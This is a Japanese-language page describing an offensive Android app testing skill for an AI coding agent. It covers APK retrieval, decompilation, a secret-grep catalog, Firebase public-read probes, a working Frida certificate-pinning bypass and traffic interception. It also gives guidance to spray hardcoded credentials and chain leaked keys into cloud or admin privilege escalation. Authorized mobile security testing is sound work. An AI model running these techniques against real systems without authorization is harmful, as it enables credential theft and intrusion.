apk-redteam-pipeline について
apk-redteam-pipelineは、許可を得たAndroidアプリのセキュリティ評価向けスキルです。APKの一覧化・取得から静的解析、実行時解析、発見事項の検証までを案内します。
主な機能
- 01Androidアプリの一覧化とAPK取得
- 02DEX逆コンパイルとシークレット検索
- 03証明書とエクスポートコンポーネントの確認
- 04Firebase設定の調査
- 05Fridaによる計測と通信キャプチャ
活用シーン
- 01対象範囲内のAndroidアプリの評価
- 02埋め込みエンドポイントや認証情報の発見
- 03エクスポートコンポーネントのIntentリスク確認
- 04実行時トークンやAPIリクエストの追跡
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill apk-redteam-pipelineインストール後、Claude Code で/apk-redteam-pipelineを入力して読み込まれたか確認します。
詳細
このスキルを使用する場面
次の場合に実行します。
- 調査で、対象の開発者名(Play ストアのデベロッパーページ)に紐づくモバイルアプリが1つ以上見つかった場合
- ウェブアプリが
*.apkファイルを直接ホストしている場合(例:ある案件でサブドメインからRecruitz.apkが見つかった) - インフォスティーラーログから APK のパッケージ ID が漏えいしている場合(例:インフォスティーラーダンプ形式に含まれる
com.<brand>.app、com.<brand>.<sub-brand>のパターン) - 顧客向けアプリ、ディーラー/パートナー向けポータル、または従業員向けモバイルコンパニオンアプリがスコープ内にある場合
- バグバウンティプログラムで Android がスコープ内に指定されている場合
次の場合は使用しないでください。
- iOS のみが対象の場合(別のパイプラインを使用します。IPA のリバース、MobSF、frida-ios-dump)
- JavaScript バンドル分析で既にカバーされている React Native/Flutter のウェブアプリ
- サーバーサイドのみの評価
ステージ 0 — 組織が所有するすべてのアプリの一覧作成
Play ストアのデベロッパーページのスクレイピング
# Find developer page from the target's brand name
curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html
# Extract package IDs
grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u
出力例(匿名化済み — 複数ブランドを持つ複合企業で一般的な7つのパッケージ):
com.events.<brand>build
com.<corp>.<sub-brand-1>
com.<corp>.<sub-brand-2>
com.<corp>.<flagship>
com.<corp>.<product-line-1>
com.<corp>.<product-line-2>
com.<corp>.<sub-brand-3>
インフォスティーラーログとの相互照合
インフォスティーラーログには *@com.<corp>.<app> のようなパッケージ名が含まれます。漏えいしたダンプがある場合は、creds_userpass.txt からこれらを抽出します。
ブランド名の組み合わせを推測(複数ブランドを持つ複合企業のパターン)
com.<brand>.app
com.<brand>.mobile
com.<brand>.android
com.<brand>connect.app
in.<brand>.dealer
in.co.<brand>.app
ステージ 1 — APK の取得
第一候補:APKPure から直接取得(認証不要)
# Follow 302 redirects to actual download
curl -sk -L --max-time 60 \
"https://d.apkpure.net/b/APK/<package_id>?version=latest" \
-o "<package_id>.apk"
# Or via the legacy d-XX.winudf.com mirror chain (we saw this work)
第二候補:APKMirror で検索
curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \
| grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u
第三候補:APKPure のウェブ検索
curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"'
XAPK と APK
.xapkは、複数の分割 APK(base + config.armeabi-v7a + config.en + など)を含む zip です- まず外側のファイルを解凍し、次に内側の
base.apkまたは<package>.apkを解凍します - apkpure のダウンロードでは、EOCD 署名が欠落した不完全な XAPK が返されることがあります。これは CDN のレート制限が原因です。IP を切り替えて再試行するか、
unzipより寛容な7z xを使用します
# Standard unzip (works for clean APK)
unzip -o <package>.apk -d extracted_<package>/
# For truncated/repaired XAPK
7z x -y <package>.apk -o"extracted_<package>"
# For nested XAPK
for inner in extracted_<package>/*.apk; do
mkdir -p "extracted_<package>/$(basename "$inner" .apk)"
unzip -o "$inner" -d "extracted_<package>/$(basename "$inner" .apk)"
done
ステージ 2 — DEX の逆コンパイル(jadx)
# Install
brew install jadx # macOS
# or
wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip
# Decompile
jadx -d decompiled_<package>/ <package>.apk
# For XAPK that contains multiple APKs
for inner in extracted_<package>/*.apk; do
jadx -d decompiled_<package>_$(basename "$inner" .apk)/ "$inner"
done
完全な逆コンパイルを行わず、「文字列のみ」をすばやく確認する場合:
find extracted_<package> -name "classes*.dex" -exec strings -8 {} \; > strings_<package>.txt
ステージ 3 — シークレットの grep(60パターンのカタログ)
# URL grep — owned-domain references
grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u
# Internal IP / port URLs
grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt
# Cloud credentials
grep -oE 'AKIA[A-Z0-9]{16}' # AWS Access Key
grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret
grep -oE 'AIza[A-Za-z0-9_-]{35}' # Google API key
grep -oE 'ya29\.[A-Za-z0-9_-]+' # Google OAuth refresh token
grep -oE 'gh[ps]_[A-Za-z0-9]{36}' # GitHub PAT
grep -oE 'glpat-[A-Za-z0-9_-]{20}' # GitLab PAT
grep -oE 'xox[pbar]-[A-Za-z0-9-]+' # Slack token
grep -oE 'sk-[A-Za-z0-9]{48}' # OpenAI API key
grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}' # Anthropic API key
grep -oE 'AC[a-f0-9]{32}' # Twilio Account SID
grep -oE 'sk_live_[A-Za-z0-9]{24}' # Stripe live key
grep -oE 'pk_live_[A-Za-z0-9]{24}' # Stripe publishable
grep -oE 'mailgun-[A-Za-z0-9-]{40}' # Mailgun
grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}' # SendGrid
# JWT (any algorithm)
grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt
# Firebase
grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \
extracted_<package>/res/values/strings.xml \
extracted_<package>/google-services.json \
decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null
# OAuth client secrets
grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt
# Hardcoded passwords (heuristic — many false positives, manual review)
grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null
実際の調査での発見例(匿名化済み — 許可を得た案件から)
# Customer-facing APK shipped a hardcoded URL of this shape:
https://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig>
# Decoded JWT payload: {"sid":<int>,"iat":<unix-ts>,"exp":<unix-ts>}
# Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel
ステージ 4 — ピン留めされた証明書の抽出
# Find .cer / .der / .pem files in assets/
find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null
# Or in network_security_config.xml
find extracted_<package> -name "network_security_config.xml" -exec cat {} \;
# For each cert, extract subject + SAN (might reveal new internal API hosts)
for cert in $(find extracted_<package>/assets -iname "*.cer"); do
echo "=== $cert ==="
openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
openssl x509 -in "$cert" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'
done
実際の調査例
許可を得た案件で顧客向け APK を調べたところ、assets/api_<service>_<domain>_com.cer が含まれていました。これにより、受動的な調査では見つかっていなかった api.<service>.<domain>.example というアセットの存在が明らかになりました。
ステージ 5 — エクスポートされたコンポーネントの列挙
AndroidManifest.xml にはコンポーネントが記載されています。エクスポートされたコンポーネント(特に android:exported="true" が設定されているものや、intent-filter によって暗黙的にエクスポートされているもの)は、他のアプリから起動できるため、インテントインジェクションの潜在的な攻撃対象領域となります。
# Decode binary AndroidManifest if needed
apktool d <package>.apk -o decoded_<package>/ # apktool decodes binary manifest
# Or read directly from jadx output
cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50
# Filter exported
grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml
エクスポートされた各コンポーネントについて、次を確認します。
- WebView に渡される extras を受け付けるか(インテント → WebView → XSS/file://)
- URI extras を受け付けるか(ディープリンクを介した SSRF の可能性)
- extras を他の Activity に渡すか(インテントのリダイレクト)
ステージ 6 — Firebase/クラウドサービスの設定を調査
# google-services.json — full Firebase config
find extracted_<package> -name "google-services.json" -exec cat {} \; | python3 -m json.tool
# Look for:
# project_id → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json
# storage_bucket → can guess GCS bucket: gs://<bucket>
# web_api_key → can use to enumerate Firebase tenant config
# Test if Firestore is publicly readable
curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users"
# Test if Realtime DB is publicly readable
curl -s "https://<project_id>.firebaseio.com/.json"
# Test if Storage Bucket is publicly listable
curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
ステージ 7 — ランタイム計測(Frida)
静的解析だけでは不十分な場合に使用します。実行時にトークンをダンプする、証明書ピンニングを回避する、API 呼び出しを追跡するといった操作ができます。
セットアップ
pip install --break-system-packages frida-tools objection
adb devices # ensure device/emulator connected
# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)
証明書ピンニングの回避(汎用)
// frida-script-pinning-bypass.js
Java.perform(function() {
// OkHttp
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);
return;
};
} catch (e) {}
// HttpsURLConnection
try {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function(chain) {
console.log('[+] TrustManagerImpl verifyChain bypassed');
return chain;
};
} catch (e) {}
});
frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause
HTTP リクエストをフック
Java.perform(function() {
var OkHttpClient = Java.use('okhttp3.OkHttpClient');
var Request = Java.use('okhttp3.Request');
var Call = Java.use('okhttp3.Call');
OkHttpClient.newCall.implementation = function(req) {
var url = req.url().toString();
var headers = req.headers().toString();
console.log('[REQ] ' + url);
console.log('[HDRS] ' + headers);
return this.newCall(req);
};
});
objection によるトークンのすばやい抽出
objection --gadget com.target.app explore
# Inside:
android hooking watch class_method <class>.<method> --dump-args --dump-return
ステージ 8 — ネットワークトラフィックのキャプチャ(mitmproxy を使用)
ピンニングを回避した後、API をさらに詳しく特定する場合に使用します。
# Run mitmproxy on host
mitmproxy --listen-port 8080
# Configure Android device proxy to host:8080
# Install mitmproxy CA cert on device:
# - Pull from http://mitm.it on the device, or
# - Push to /system/etc/security/cacerts/ on rooted device
# Use the Frida pinning bypass script while traffic flows through mitmproxy
# All API calls visible in mitmproxy UI
意思決定ツリー — 見つけたものに応じた次の手順
| 発見事項 | 次の手順 |
|---|---|
| 有効な JWT(期限切れではない) | API ホストに対してテストし、アクセス権が得られるか確認します。sid の操作も試します |
| 期限切れの JWT | パストークン/API エンドポイント構造を調べます。VPN 接続後に役立つ情報です |
| AWS アクセスキー | awscli でテストします:aws sts get-caller-identity — 漏えいしたキーでも、権限が残っているものは多数あります |
| Firebase の project_id + web_api_key | Firestore/RTDB/Storage の公開読み取りをテストします |
| Google API キー(AIza*) | https://www.googleapis.com/customsearch/v1 などに対してテストし、キーで有効になる API を確認します |
| ハードコードされた HTTP URL(http://) | 証明書ピンニングがない場合、ダウングレードによる MITM の可能性があります |
| 内部ホスト向けにピン留めされた証明書 | 新たなアセットの発見です。そのホストは実在します |
| WebView を含むエクスポート済み Activity | インテントインジェクションから URL 読み込みの悪用までをテストします |
| スタックトレースの痕跡(Stack Overflow の URL) | 開発者の質問を特定し、アーキテクチャを推測します |
| ハードコードされた認証情報 | すぐにスプレー攻撃を試みます(関連スキルの上限があれば遵守してください) |
反パターン
- 「password」だけを grep しないでください — ほとんどのシークレットには、より高い確度で検出できる固有のパターン(AKIA、AIza、eyJ など)があります。一般的な単語を grep すると、ノイズが多くなります。
- XAPK の分割 APK を見落とさないでください — config.armeabi の分割や config. の分割には、異なるコードパスが含まれていることがあります。
- 期限切れの JWT を「使えない情報」として扱わないでください — パス構造、エンドポイント一覧、署名アルゴリズムは依然として役立ちます。上記の有効期限が 8 年前の JWT の例が示すとおりです。
- 最新バージョンだけをリバースしないでください — APKMirror のバージョン履歴から取得した古い APK には、新しいバージョンでは削除されていても、サーバー側ではまだ有効なシークレットが含まれていることがあります。
- アプリが「シンプル」に見えても Firebase を無視しないでください — Firebase のルールの設定ミス(Firestore の公開読み取り)は非常によくあります。
- 本番環境のデバイスで Frida を実行しないでください — ルート化済みのエミュレーターまたはテスト用デバイスだけを使用してください。
ツールのインストール(一度だけ)
brew install jadx p7zip
pip install --break-system-packages frida-tools objection
# Genymotion or AVD for rooted Android emulator
APK のダウンロードを簡単にするため、download-apk シェル関数を追加できます:
download-apk() {
local pkg="$1"
curl -sk -L --max-time 60 "https://d.apkpure.net/b/APK/$pkg?version=latest" -o "$pkg.apk"
echo "Downloaded $(wc -c < "$pkg.apk") bytes"
file "$pkg.apk"
}
関連スキルへの橋渡し
offensive-osint— Play Store/APKMirror の列挙は、より広範な OSINT の一部ですhunt-cloud-misconfig— Firebase の公開読み取りは、発見後のこのスキルの専門分野そのものですhunt-api-misconfig— アルゴリズムとサンプルトークンを入手した後の JWT 操作evidence-hygiene— 抽出したシークレットは、レポートに含める前にマスキングする必要がありますredteam-mindset— APK のリバースは、後回しではなくエンゲージメントの初日に行います
実環境での発見事項テンプレート(匿名化済み — 許可を得たエンゲージメント)
発見事項:顧客向け APK にハードコードされた JWT と 30 以上の内部 API エンドポイント
- 対象:レガシーのモバイルビルドにハードコードされた痕跡があり、内部 API の範囲が明らかになった
- 観察事項:
com.<client>.<app>を逆コンパイルしたところ、埋め込まれた JWT(約 8 年前に期限切れ)と、api2.<client>.exampleに対する 30 以上の/v1/*エンドポイントパスが見つかりました(外部からは内部専用) - 説明:APK には開発者用ビルドの痕跡が含まれています。パストークンは隠蔽によるセキュリティであり、API エンドポイントの一覧は偵察に利用できるレベルの情報です。
- 影響:VPN 接続後の足掛かり(認証情報の侵害経由)を得た攻撃者は、バイナリをリバースせずに API 全体の一覧を把握できます。HS256 シークレットを回復(SSRF/LFI 経由)すれば、任意のトークンを偽造できます。
- 推奨事項:HS256 シークレットをローテーションし、RS256 に移行し、ビルドからハードコードされた URL を削除し、組織内のすべての APK を監査してください。
- 証拠:抽出した文字列、デコードした JWT、エンドポイント一覧
関連するスキルとチェーン
cloud-iam-deep— APK からシークレットを抽出すると、有効な AWS/GCP/Azure の認証情報が見つかることがよくあります。チェーンの基本フロー:jadx による文字列の grep で AWS Access Key ID と Secret を取得 →cloud-iam-deepのaws sts get-caller-identity→ ロール/ポリシーの列挙 → IAM 権限昇格の経路(文書化された 24 種類の AWS 権限昇格パターンのいずれか)→ クラウドプレーンの乗っ取り。同じフローは、APK リソースから抽出した GCP サービスアカウント JSON や Azure の Shared Access Signature トークンにも適用できます。hunt-api-misconfig— APK のエンドポイント一覧から API の攻撃対象領域をそのまま把握できます。Mass assignment、JWT、CORS の脆弱性がよく見つかります。チェーンの基本フロー:APK から/v1/users/meと/v1/admin/usersが判明 →hunt-api-misconfigで/v1/users/meに Mass assignment のプローブ({is_admin:true})を送信 → 管理者ロールに昇格 →/v1/admin/usersにアクセス。hunt-rce— APK から抽出したハードコードされた JWT 署名シークレット(HS256)を使うと、任意のトークンを偽造できます。チェーンの基本フロー:APK の文字列から HS256 シークレットを取得 → 管理者トークンを偽造 → 管理 API にアクセス → API に eval/テンプレート/シンクがある場合は、hunt-rceでサーバーに到達。また、エクスポートされたコンポーネントにインテントインジェクションのシンクがある場合、アプリがローカルにインストールされていればRuntime.execに到達できる可能性があります。offensive-osint— APK は、より広範な組織の偵察グラフを構成するノードのひとつです。漏えい情報のコーパスや証明書の透明性と組み合わせてください。チェーンの基本フロー:APK から内部 API のホスト名api2.example.comが判明 →offensive-osintで証明書の透明性を調査 → 関連するサブドメインを発見 → 攻撃対象領域を拡大。redteam-report-template— クライアント側のエンジニアは、モバイルアプリの静的解析で見つかった問題を「難読化の問題」として片付けることが多いため、APK の調査結果は「バイナリから何が漏れているか」を明確に示す必要があります。チェーンの基本フロー:検証済みの問題(トークン/URL/シークレットを抽出)→triage-validationの 7-Question Gate(特に「この認証情報は現在も認証に使えるか?」)→ バイナリのバージョンと抽出手順の再現方法を明記してredteam-report-templateで報告書を作成。